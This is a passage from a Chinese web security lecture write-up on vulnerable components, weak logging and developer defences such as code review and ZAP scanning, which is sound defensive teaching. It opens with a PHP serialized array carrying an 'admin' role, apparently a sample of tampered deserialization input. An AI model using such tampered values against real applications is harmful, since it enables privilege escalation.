a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

9、使用含有已知漏洞的组件

组件（例如：库、框架和其余软件模块）拥有和应用程序相同的权限。若是应用程序中含有已知漏洞的组件被攻击者利用，可能会形成严重的数据丢失或服务器接管。同时，使用含有已知漏洞的组件和API会破坏应用程序的防护手段，形成各类攻击并产生严重影响。

10、不足的日志记录和监控

不足的日志记录和监控，以及事件响应缺失或无效的集成，使攻击者可以进一步攻击系统，并篡改、提取或销毁数据。大多数缺陷研究显示，缺陷被检测出的时间超过200天，且一般经过外部检测方检测，而不是经过内部流程或监控检测。

未雨绸缪 - 项目中如何应对

开发人员须要作些什么？

1. 提升风险意识
2. Code Review
3. 创建可重复使用的安全流程和标准安全控制
4. 安全检测工具

a)     ZAP Tools

b)    静态代码分析

1. 创建持续性的应用安全测试
2. 管理完整的应用程序生命周期

以上即是从本次公开课分享——“WebApp 安全风险与防御（系列二）”中截取的部份内容，相信必定能对您的WebApp应用程序安全防御有所帮助。

 

下面奉上上期完整的回放